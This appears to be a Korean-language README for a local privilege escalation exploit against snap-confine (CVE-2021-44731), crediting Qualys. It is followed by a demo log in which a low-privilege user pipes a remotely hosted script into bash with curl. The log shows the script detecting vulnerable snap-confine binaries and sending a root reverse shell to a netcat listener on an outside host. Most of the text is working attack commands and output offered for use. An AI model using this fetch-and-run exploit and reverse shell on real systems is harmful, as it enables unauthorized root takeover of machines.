
CVE-2021-44731을 대상으로 하는 snap-confine 2.54.2 이하 버전용 로컬 권한 상승 익스플로잇. 취약한 바이너리를 자동으로 탐지하여 netcat을 통해 루트 셸을 제공합니다.
CVE-2021-44731, snap-confine 2.54.2 및 이하 버전에 대한 로컬 권한 상승 익스플로잇
이 취약점을 발견하고 상세한 익스플로잇을 제공한 Qualys에 모든 공을 돌립니다.
https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt
빠르고 대충 만든 snap-confine LPE입니다. 취약한 버전의 snap-confine을 검색하고, 발견되면 익스플로잇을 수행합니다.
루트 셸을 반환하며, netcat으로 캐치하세요.
$id
uid=1001(vulnchain) gid=1001(vulnchain) groups=1001(vulnchain)
$ curl http://10.8.0.134/snap_confine_LPE.sh | bash
curl http://10.8.0.134/snap_confine_LPE.sh | bash
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2073 100 2073 0 0 28397 0 --:--:-- --:--:-- --:--:-- 28013
Non-vulnerable version found: 2.54.3
Vulnerable version found: 2.44.3 at /usr/lib/snapd/snap-confine
Vulnerable version found: 2.44.3 at /home/vulnchain/snap-confine
Performing actions with a vulnerable version...
Chosen vulnerable version: 2.44.3
┌──(root㉿kali)-[~]
└─# nc -lvnp 4447
listening on [any] 4447 ...
connect to [10.8.0.134] from (UNKNOWN) [10.10.111.136] 56050
bash: cannot set terminal process group (609): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-10-10-14:/# id
id
uid=0(root) gid=0(root) groups=0(root),1001(vulnchain)
root@ip-10-10-10-14:/#